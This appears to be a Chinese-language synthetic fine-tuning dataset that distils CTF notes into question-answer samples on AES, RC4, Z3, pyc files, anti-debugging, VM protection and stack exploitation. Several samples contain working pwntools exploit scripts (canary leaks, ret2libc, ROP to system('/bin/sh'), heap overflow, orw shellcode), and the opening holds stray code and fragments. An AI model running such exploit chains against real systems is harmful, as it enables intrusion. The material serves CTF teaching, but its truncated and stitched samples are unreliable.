void try_password(const char *pwd) {
    char cmd[1024];
    snprintf(cmd, sizeof(cmd), "./target_program %s", pwd);

    FILE *fp = popen(cmd, "r");
    if (!fp) {
        perror("popen");
        exit(1);
    }

    char output[1024];
    int success = 0;
    while (fgets(output, sizeof(output), fp)) {
        if (strstr(output, "Success")) {
            success = 1;
        }
    }
    pclose(fp);

    if (success) {
        printf("Found password: %s\n", pwd);
        exit(0);
    }
}

// 示例：简单字典或启发式生成
void brute_force_demo() {
    // 这里只是演示前几位固定，真实策略要基于字典/规则
    char pwd[LEN + 1] = "AAAAAAAAAAAAAAAAAAAAAA";  // 22 个 A
    for (int i = 0; i 2024长城杯dumpG

- exp
```

例题/爆破/暴力破解.md

暴力破解


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《AES》的“简介”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：AES / 简介
关键词：AES、DES、Advanced、Encryption、Standard、加密和解密、加密算法、所以人们需要一种算法、是对称加密算法、也是分组加密算法
蒸馏要点：
- AES （Advanced Encryption Standard）的出现主要是为了取代 DES 加密算法。因为在现如今计算机的处理能力以及使得破解 DES 变得可行，所以人们需要一种算法来取代 DES 算法确保安全性，所以 AES 应运而生。
- AES（Advanced Encryption Standard）是对称加密算法，也是分组加密算法。
- 分组加密（也称为块加密）是指一次加密明文中的一个固定大小的数据块。明文被分为若干个固定长度的块，每个块经过加密算法处理后生成相应的密文块，解密时再还原为原始的明文块。具有代表性的块加密算法包括 DES、AES、3DES 等。
- 明文 `P`：指未经加密的原始数据，也称为原文。
- 密文 `C`：指经过加密处理后的数据，不易被理解或还原。
- 密钥 `K`：加密和解密过程中所使用的关键数据。在对称加密中，加密和解密使用的是同一密钥。
- AES 加密函数：记 AES 加密函数为 `E`，则加密过程可以表示为：C = E(K, P)。即将明文 `P` 和密钥 `K` 作为加密函数 `E` 的输入，输出为密文 `C`。
可用于训练的标准回答：
## 简介

AES （Advanced Encryption Standard）的出现主要是为了取代 DES 加密算法。因为在现如今计算机的处理能力以及使得破解 DES 变得可行，所以人们需要一种算法来取代 DES 算法确保安全性，所以 AES 应运而生。

AES（Advanced Encryption Standard）是对称加密算法，也是分组加密算法。

分组加密（也称为块加密）是指一次加密明文中的一个固定大小的数据块。明文被分为若干个固定长度的块，每个块经过加密算法处理后生成相应的密文块，解密时再还原为原始的明文块。具有代表性的块加密算法包括 DES、AES、3DES 等。

- 明文 `P`：指未经加密的原始数据，也称为原文。
- 密文 `C`：指经过加密处理后的数据，不易被理解或还原。
- 密钥 `K`：加密和解密过程中所使用的关键数据。在对称加密中，加密和解密使用的是同一密钥。
- AES 加密函数：记 AES 加密函数为 `E`，则加密过程可以表示为：C = E(K, P)。即将明文 `P` 和密钥 `K` 作为加密函数 `E` 的输入，输出为密文 `C`。
- AES 解密函数：记 AES 解密函数为 `D`，则解密过程可以表示为：P = D(K, C)。即将密文 `C` 和密钥 `K` 作为解密函数 `D` 的输入，输出为明文 `P`。

AES


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《RC4 算法》的“魔改RC4”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：RC4 算法 / 魔改RC4
关键词：enc、rc4、v8 = (v8 + *(k + a1) + v9[k] + 1300) % 256;、*(a2 + i) = (*(v8 + a1) ^ *(a2 + i)) + 20;、key、range、YLCTF、len、xorplus、ida
蒸馏要点：
- YLCTF xorplus
- ida 反编译，从函数名称就可以判断为 rc4 加密，接下来我们寻找密钥。
- 在主函数中找到密钥，然后分析 rc4 算法是否是标准 rc4。
- 分析发现在 rc4 初始化部分存在魔改，即`v8 = (v8 + *(k + a1) + v9[k] + 1300) % 256;`。
- 接下来分析一下加密部分。
- 算法加密部分同样存在魔改，`*(a2 + i) = (*(v8 + a1) ^ *(a2 + i)) + 20;`。
- 最后我们获取平台给的密文，然后根据魔改后的加密代码逻辑编写解密代码。
可用于训练的标准回答：
### 魔改RC4

>YLCTF xorplus

- 分析

ida 反编译，从函数名称就可以判断为 rc4 加密，接下来我们寻找密钥。

在主函数中找到密钥，然后分析 rc4 算法是否是标准 rc4。

分析发现在 rc4 初始化部分存在魔改，即`v8 = (v8 + *(k + a1) + v9[k] + 1300) % 256;`。

接下来分析一下加密部分。

算法加密部分同样存在魔改，`*(a2 + i) = (*(v8 + a1) ^ *(a2 + i)) + 20;`。

最后我们获取平台给的密文，然后根据魔改后的加密代码逻辑编写解密代码。

- exp

```python
enc=[0x91,0x86,0x1b,0x2d,0x9e,0x6f,0x58,0x31,0x46,0xf0,0xed,0xa2,0xcc,0x90,0x22,0x15,0x8d,0xa2,0x61,0x2d,0x80,0x5a,0x74,0x16,0x6c,0x75,0x81,0x46,0x7e,0x26,0xb5,0x9f,0x85,0x76,0x5d,0xfe,0xb7,0x52,0x54,0xc8,0x4,0x35,0xa6]

s=[0]*256
key="welcometoylctf"
for i in range(256):
    s[i]=i
v6 = 0

for j in range(256):
    v6=(ord(key[j%len(key)])+v6+s[j] + 1300)%256
    s[j],s[v6]=s[v6],s[j]

v7 = 0
v8 = 0

for k in range(len(enc)):
    v8 = (v8 + 1) % 256
    v7 = (v7 + s[v8]) % 256
    s[v8],s[v7]=s[v7],s[v8]
    enc[k] = (enc[k] - 20) & 0xff
    enc[k] ^= s[(s[v7] + s[v8]) % 256]

print(bytes(enc...

RC4 算法


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Z3》的“约束求解”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Z3 / 约束求解
关键词：check()、z3.sat、z3.unsat、python
s.check()、若约束可以被满足，则我们可以通过、方法获取到一组解：、python
s.model()、对于约束条件比较少的情况，我们也可以无需创建求解器，直接通过、方法进行求解：、check
蒸馏要点：
- 当我们向求解器中添加约束条件之后，我们可以使用`check()`方法检查约束是否是可满足的（satisfiable，即z3是否能够帮我们找到一组解）：
- `z3.sat`：约束可以被满足
- `z3.unsat`：约束无法被满足
- 若约束可以被满足，则我们可以通过`model()`方法获取到一组解：
- 对于约束条件比较少的情况，我们也可以无需创建求解器，直接通过`solve()`方法进行求解：
可用于训练的标准回答：
### 约束求解

当我们向求解器中添加约束条件之后，我们可以使用`check()`方法检查约束是否是可满足的（satisfiable，即z3是否能够帮我们找到一组解）：

- `z3.sat`：约束可以被满足
- `z3.unsat`：约束无法被满足

```python
s.check()
```

若约束可以被满足，则我们可以通过`model()`方法获取到一组解：

```python
s.model()
```

对于约束条件比较少的情况，我们也可以无需创建求解器，直接通过`solve()`方法进行求解：

```python
z3.solve(z3.Implies(p,q),r==z3.Not(q),z3.Or(z3.Not(p),r))
```

Z3


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“创建及使用”？请用《Pyc：pyc文件》中的内容回答。

[Assistant]
1. pyc 文件是 python 在编译 py 文件过程中出现的主要中间过程文件，是一种二进制文件，是一种bytecode。
2. 我们可以通过 py_compile 模块来生成 pyc 文件，或者通过 python -m test.py 命令来生成 pyc 文件：
3. 两种操作都会在当前目录下新建一个 `__pycache__` 目录，其中存放着 test.cpython-版本号.pyc。
4. 如果有一个现成的pyc 文件，如何导入它。
5. 先写个`test.py`
6. 我们可以通过 py_compile 模块来生成 pyc 文件。

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“\[2021 鹤城杯\]littleof”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / \[2021 鹤城杯\]littleof
关键词：p64、canary、puts、payload、libc、recvuntil、puts_addr、libc_base、LibcSearcher、pwnfile
可用于训练的标准回答：
### \[2021 鹤城杯\]littleof

#ret2libc  #canary #LibcSearcher
```python
from pwn import *
from LibcSearcher import *

pwnfile="./littleof"
#io=process(pwnfile)
io=remote("node4.anna.nssctf.cn",28234)
elf=ELF(pwnfile)
off=72
context(log_level="debug",arch="amd64")
rdi=0x0000000000400863
ret=0x000000000040059e

#泄露 canary
pay=b'a'*off+b'b'
io.recvuntil(b'Do you know how to do buffer overflow?\n')
io.send(pay)
io.recvuntil(b"b")
canary=u64(io.recv(7)+b"\x00")*0x100
print("canary:",hex(canary))

#泄露 puts 地址
payload=b'a'*(0x50-8)+p64(canary)+b'a'*8+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x4006e2)
io.recvuntil(b'harder!')
io.sendline(payload)
puts_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
print("puts:",hex(puts_addr))

#搜索 libc
libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
print("puts",hex(libc_base))
sys=libc_base+libc.dump("system")
sh=libc_base...

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“pwnableorw”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / pwnableorw
关键词：goto、shellcode、orw、RELRO、PIE、RWX、ELF、三个函数都在白名单上，所以我们可以直接进行orw。、- exp、read
蒸馏要点：
- 几乎没有保护，所以我们可以尝试shellcode。
- 程序提升让我们输入 shellcode 并且将 shellcode 指令当作函数调用执行。
- 我们直接尝试shellcode，但是我们传统的通过`execve`获取shell的方式并不可行。
- 这是因为这里所考察的并不是那种简单shellcode，通过题目名称我们可以知道这里我考察的是orw。
- 而考察orw的题目一般都是沙箱题目。
- 我们通过seccomp-tools这个工具来检查沙箱禁止了哪些系统调用。
- 这里使用了白名单机制即允许指定的系统调用执行，其它全部禁止。
可用于训练的标准回答：
### pwnableorw

- 查保护

几乎没有保护，所以我们可以尝试shellcode。

```c
❯ checksec ./orw.orw
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
```

- 分析程序

程序提升让我们输入 shellcode 并且将 shellcode 指令当作函数调用执行。

我们直接尝试shellcode，但是我们传统的通过`execve`获取shell的方式并不可行。

这是因为这里所考察的并不是那种简单shellcode，通过题目名称我们可以知道这里我考察的是orw。

而考察orw的题目一般都是沙箱题目。

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();
  return 0;
}
```

我们通过seccomp-tools这个工具来检查沙箱禁止了哪些系统调用。

这里使用了白名单机制即允许指定的系统调用执行，其它全部禁止。

可以看到我们orw中所用到的`open`、`read`、`write`三个函数都在白名单上，所以我们可以直接进行orw。

```c
❯ seccomp-tools dump ./orw.orw
 line  CODE  JT...

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《花指令：原理：反汇编算法的设计缺陷》中“快速插入花指令”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《花指令：原理：反汇编算法的设计缺陷》的“快速插入花指令”。
语言/类型：c
关联知识点：
- 我们可以通过将花指令定义为宏来快速插入花指令。
代码片段：
```c
#include
#include

#define FLOWER  \
    __asm__ __volatile__ ( \
        "jz s\n\t"         \
        "jnz s\n\t"        \
        ".byte 0xC7\n\t"   \
        "s:\n\t"           \
    )

int main(){
    FLOWER;
    printf("hello world\n");
    return 0;
}
```

花指令：原理：反汇编算法的设计缺陷


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“bjdctf2020babystack2”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“bjdctf2020babystack2”。
语言/类型：python
关联知识点：
- 在text段我们发现了backdoor函数。
- 但是我们的第一个输入决定着接下来我们可以输入的数据长度。
- 第一个输入如果大于有符号数的10，程序就会退出。
- 但是在将第一个输入作为第二个输入的第三个参数时存在有符号数到无符号数的类型转换。
- 如果我们第一个输入输入的是-1，就可以绕过限制，并且输入无限制的数据。
代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
ru("name:\n")
sl("-1")

ret=0x0000000000400599

payload=b'a'*24+p64(0x40072A)

r()
sl(payload)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“普通打包”？请用《Pyc：pyc文件》中的内容回答。

[Assistant]
1. python 程序通过工具可以打包为可执行程序
2. python可以编译为 pyc 字节码文件，python解释器可以直接执行字节码文件
3. 利用工具可以将 pyc 文件反编译为 py 文件。
4. 经过 pyinstaller 打包的文件会有蟒蛇的图标，Windows 可以直接看图标判断，Linux就需要通过查看可执行文件中的字符串判断：`strings test | grep py`
5. exe 可以直接用 pyinstxtractor 解包，但是 elf 文件就需要将文件中的 pydata 段提取出来用 pyinstxtractor 解包。
6. 运行后会在当前目录下出现一个文件夹，往往是`源文件名_extracted`，此处为`text.exe_extracted`

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《2025强网杯 Qclac》中“校验token”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《2025强网杯 Qclac》的“校验token”。
语言/类型：java
关联知识点：
- 将包名前 8 字节使用 sha256 计算一下。
- 若包名是 com.qinquang.calc
代码片段：
```java
sha256("com.qinquang.calc") → abcd1234...
token = "abcd1234"
```

2025强网杯 Qclac


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pyc：pyc文件》的“局部变量”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pyc：pyc文件 / 局部变量
关键词：STORE_FAST、LOAD_FAST、LOAD_CONST、local、对应的 python 代码：、python
def test():
	n = 0
	p = 0
	n = n + p、该变量的位置，如果没有看到、，那么该变量就是函数参数。

而局部变量在使用之前肯定会使用、进行初始化。

例如：、对应的 python 代码
蒸馏要点：
- `LOAD_FAST`：一般加载局部变量的值，也就是读取值，用于计算或者函数调用传参等
- `STORE_FAST`：一般用于保存值到局部变量。
- 对应的 python 代码：
- 函数的参数也算局部变量，如何区分出是函数参数还是其他局部变量呢？
- 参数没有初始化语句，也就是从函数开始到`LOAD_FAST`该变量的位置，如果没有看到`STORE_FAST`，那么该变量就是函数参数。
- 而局部变量在使用之前肯定会使用`STORE_FAST`进行初始化。
- 对应的 python 代码
可用于训练的标准回答：
#### 局部变量

- `LOAD_FAST`：一般加载局部变量的值，也就是读取值，用于计算或者函数调用传参等
- `STORE_FAST`：一般用于保存值到局部变量。

例如：

```
0 LOAD_CONST    1 (0)
2 STORE_FAST    0 (n)

4 LOAD_CONST    1 (0)
6 STORE_FAST    1 (p)

8 LOAD_FAST     0 (n)
```

对应的 python 代码：

```python
def test():
	n = 0
	p = 0
	n = n + p
```

函数的参数也算局部变量，如何区分出是函数参数还是其他局部变量呢？

参数没有初始化语句，也就是从函数开始到`LOAD_FAST`该变量的位置，如果没有看到`STORE_FAST`，那么该变量就是函数参数。

而局部变量在使用之前肯定会使用`STORE_FAST`进行初始化。

例如：

```
0 LOAD_CONST   1 (0)
2 STORE_FAST   1 (local)

4 LOAD_GLOBAL  0 (print)
6 LOAD_FAST    1 (local)
8 LOAD_FAST    0 (arg1)
10 CALL_FUNCTION 2
```

对应的 python 代码

```python
def test(arg1):
	local = 0
	print(local,arg1)
```

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“ret2libc”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / ret2libc
关键词：libc_base、libc、sym、system_addr、bin_sh_addr、payload、ret2libc、read_addr、read、system
蒸馏要点：
- libc_base = read_addr - libc.sym['read']
- system_addr = libc_base + libc.sym['system']
- bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
- payload = flat([cyclic(0x18),b'\x00abcdefg',0,rdi,bin_sh_addr,ret,system_addr])
- io.send(payload)
可用于训练的标准回答：
# ret2libc

libc_base = read_addr - libc.sym['read']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = flat([cyclic(0x18),b'\x00abcdefg',0,rdi,bin_sh_addr,ret,system_addr])
io.send(payload)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《2025强网杯 Qclac》的“onCreate”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：2025强网杯 Qclac / onCreate
关键词：onCreate、getApplicationContext()、HistoryManager、plain
handleIntent(getIntent());、完成后调用、：用于处理启动该 Activity 的、getApplicationContext、handleIntent、getIntent、Intent
蒸馏要点：
- 在代码中的`onCreate`部分主要初始化了`HistoryManager`，传入`getApplicationContext()`函数的返回值，`getApplicationContext()`返回 Application 级别的全局 Context。
- `onCreate`方法最后执行以下代码：
- 在`onCreate`完成后调用`handleIntent(getIntent())`：用于处理启动该 Activity 的 `Intent`（包括 Deep Link）。也就是说无论是从 launcher 启动还是通过深度链接启动，都会处理一次传入的`Intent`。
可用于训练的标准回答：
##### onCreate

在代码中的`onCreate`部分主要初始化了`HistoryManager`，传入`getApplicationContext()`函数的返回值，`getApplicationContext()`返回 Application 级别的全局 Context。

`onCreate`方法最后执行以下代码：

```plain
handleIntent(getIntent());
```

在`onCreate`完成后调用`handleIntent(getIntent())`：用于处理启动该 Activity 的 `Intent`（包括 Deep Link）。也就是说无论是从 launcher 启动还是通过深度链接启动，都会处理一次传入的`Intent`。

2025强网杯 Qclac


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“脚本”？请用《AES》中的内容回答。

[Assistant]
1. I_SBOX = [[82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 130, 242, 215, 250],
2. [124, 227, 57, 131, 155, 47, 254, 135, 52, 142, 67, 68, 196, 222, 233, 203],
3. [84, 123, 148, 50, 166, 194, 35, 61, 237, 76, 149, 11, 66, 249, 195, 78],
4. [8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37],
5. [114, 247, 245, 100, 134, 104, 152, 14, 212, 164, 92, 204, 93, 101, 182, 146],
6. [108, 112, 72, 80, 252, 236, 185, 218, 94, 22, 70, 87, 167, 141, 157, 133],

AES


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“TLS 回调函数”？请用《反调试》中的内容回答。

[Assistant]
1. TLS（Thread Local Storage）回调函数在 Windows 中的作用是在线程启动时自动执行某些特定操作，而这个执行顺序是在进入线程的入口点代码之前的。
2. 这里简要了解添加 TLS 回调函数的知识，重点了解如何去除。
3. 手动添加 TLS 回调函数
4. 手动添加 TLS，需要知道`IMAGE_TLS_DIRECTORY`结构体与 TLS 回调函数放到 PE 文件的哪些位置。向某个 PE 文件添加代码或者数据时候有如下三种来查找合适的位置：
5. 增加最后一个节区域的大小
6. 添加到节区域末尾的空白处

反调试


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“[MoeCTF 2022]rop64”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / [MoeCTF 2022]rop64
关键词：canary、p64、elf、gift、ELF、rdi、payload、MoeCTF、rop64、ret2text
蒸馏要点：
- 覆盖canary最后一位通过printf泄露出canary。
可用于训练的标准回答：
### [MoeCTF 2022]rop64

#ret2text #canary #栈平衡

覆盖canary最后一位通过printf泄露出canary。

```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

sh=0x00404058
sys=elf.plt.system

rdi=0x00000000004011de
r()
s(b"a"*40+b"b")

ru(b"b")
canary=u64(b"\x00"+r(7))
success(hex(canary))

payload=b"a"*40+p64(canary)+b"a"*8+p64(rdi)+p64(sh)+p64(0x0000000000401284)
s(payload)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《VM 指令虚拟化》的“VM虚拟机分析”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：VM 指令虚拟化 / VM虚拟机分析
关键词：esp、eflags
蒸馏要点：
- 通常我们分析VM虚拟机，要将它 “抽象” 回去
- 首先我们要分析出这个虚拟机的大致结构，然后找到它的伪指令，也就是那些模仿指令的函数，然后通过分析这些伪指令，分析出内存中哪个被当作是栈，哪些被当作是寄存器，哪个被当作是pc寄存器（也就是和x86_32架构中的eip一样），哪个被当作栈顶寄存器（esp），以及会用于调跳转的标志寄存器（eflags）等。
- 给可执行程序和opcode，逆向emulator，结合opcode文件，推出flag
- 只给可执行程序，逆向emulator，构造opcode读取flag
- 分析虚拟机入口，搞清虚拟机的输入，或者opcode位置
- 理清虚拟机结构，包括Dispatcher和各个Handler
- 逆向各个Handler，分析opcode的意义
可用于训练的标准回答：
## VM虚拟机分析

通常我们分析VM虚拟机，要将它 “抽象” 回去

首先我们要分析出这个虚拟机的大致结构，然后找到它的伪指令，也就是那些模仿指令的函数，然后通过分析这些伪指令，分析出内存中哪个被当作是栈，哪些被当作是寄存器，哪个被当作是pc寄存器（也就是和x86_32架构中的eip一样），哪个被当作栈顶寄存器（esp），以及会用于调跳转的标志寄存器（eflags）等。

比赛中的考法

- 给可执行程序和opcode，逆向emulator，结合opcode文件，推出flag
- 只给可执行程序，逆向emulator，构造opcode读取flag

逆向过程：

- 分析虚拟机入口，搞清虚拟机的输入，或者opcode位置
- 理清虚拟机结构，包括Dispatcher和各个Handler
- 逆向各个Handler，分析opcode的意义

VM 指令虚拟化


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“2025湾区杯-oddcanary”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / 2025湾区杯-oddcanary
关键词：lambda、bss、data、sla、name、text、good、puts、vuln、init_array
蒸馏要点：
- canary绕过
- 分析发现`init_array`字段有函数注册，这样的话函数会在程序启动后先执行。
- 将`ctfer`复制到`name`全局变量，然后将一段字符串复制到`bss`字段。
- 分析程序将 0x28 字节读到 buf，然后在`buf[read_len]`位置写入一个 8 字节的 10。然后将puts的got表复制到bss段。
- 这样会导致在第二次执行`good_news`函数时，就会将`bss`段的`puts`的 got 表打印出来。
- vuln 函数是溢出部分：
- 由于溢出较小，所以打 one_gadget 来 getshell。
可用于训练的标准回答：
## 2025湾区杯-oddcanary

- canary绕过

分析发现`init_array`字段有函数注册，这样的话函数会在程序启动后先执行。

将`ctfer`复制到`name`全局变量，然后将一段字符串复制到`bss`字段。

分析程序将 0x28 字节读到 buf，然后在`buf[read_len]`位置写入一个 8 字节的 10。然后将puts的got表复制到bss段。

这样会导致在第二次执行`good_news`函数时，就会将`bss`段的`puts`的 got 表打印出来。

vuln 函数是溢出部分：

由于溢出较小，所以打 one_gadget 来 getshell。

```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
ia = lambda: io.interactive()
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('odd_canar...

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“[WUSTCTF 2020]getshell2”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“[WUSTCTF 2020]getshell2”。
语言/类型：python
关联知识点：
- `p32(system_plt) + p32(0) + p32(str_binsh)` 可以替换成 `p32(call_system) + p32(str_sh) `
- `eip`寄存器指向当前正在执行的指令。当我们调用一个函数时，当前的 `eip` 值会被压栈，这样在函数执行完毕后，程序可以通过弹出栈顶的 `eip` 值继续执行之前的指令。
- 由于我们手动调用 `system` ，我们是没有将返回地址压栈的，栈中是没有返回地址的，会导致栈错误
- 当使用`call system`指令时，`call`指令本身会自动将当前的eip压栈。所以我们可以直接跟参数，而不需要手动压入一个返回地址
- 在 linux 中，/bin/sh 是二进制文件，而 sh 是环境变量，相当于执行 /bin/sh
代码片段：
```python
p32(system_plt) + p32(0) + p32(str_binsh)
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“[NISACTF 2022]ezheap”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“[NISACTF 2022]ezheap”。
语言/类型：python
关联知识点：
- 程序为32位，分配了两个堆块，第二个堆块的内容作为system函数参数执行。
- 但是写入第一个堆块的内容没有限制，所以产生了堆溢出。
- 通过覆盖掉第二个堆块的头部，拿到shell。
代码片段：
```python
#!/usr/bin/python3
from pwncli import *

cli_script()
io=gift["io"]
elf=gift["elf"]
payload=b'a'*0x20+b"/bin/sh\x00"

s(payload)
ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pyc：pyc文件》中“反汇编”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pyc：pyc文件》的“反汇编”。
语言/类型：python
关联知识点：
- 字节码拿过来反汇编就得到了针对 python 虚拟机的汇编代码，类似于 x86 汇编，但是比 x86 的好读多了，通过 dis.dis 就可以将字节码转换为可读的伪代码。
代码片段：
```python
import dis
import marshal

with open("out.pyc","rb") as f:
	raw = f.read()

code = marshal.loads(raw[16:])
dis.dis(code)
```

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“\[SWPUCTF 2022 新生赛\]Integer Overflow”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / \[SWPUCTF 2022 新生赛\]Integer Overflow
关键词：p32、SWPUCTF、gift、elf、ELF、sys、sla、your、name、payload
蒸馏要点：
- 程序要求输入无符号数，但是没有限制输入字符，所以我们可以输入-1导致输入长度变大。
可用于训练的标准回答：
### \[SWPUCTF 2022 新生赛\]Integer Overflow

#A #整数溢出

程序要求输入无符号数，但是没有限制输入字符，所以我们可以输入-1导致输入长度变大。

从而产生溢出。

- exp

```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

sh=0x804a008
sys=0x8049100
sla(b"Tell me your choice:",b"1")

sla(b"First input the length of your name:",b"-1")
payload=b'a'*36+p32(sys)+p32(0)+p32(sh)
sa(b"\x1B[36m What's u name?\n\x1B[0m",payload)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“[HGAME 2023 week1]easyoverflow”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“[HGAME 2023 week1]easyoverflow”。
语言/类型：python
关联知识点：
- close(1)关闭掉了标准输出，所以要进行输出重定向。
代码片段：
```python
#!/usr/bin/python3
from pwncli import *
cli_script()

io= gift["io"]
elf= gift["elf"]
payload=b'a'*24+p64(0x40117e)
s(payload)
sl("exec 1>&0")

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 请将《SMC自修改代码》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。

[Assistant]
主题：SMC自修改代码
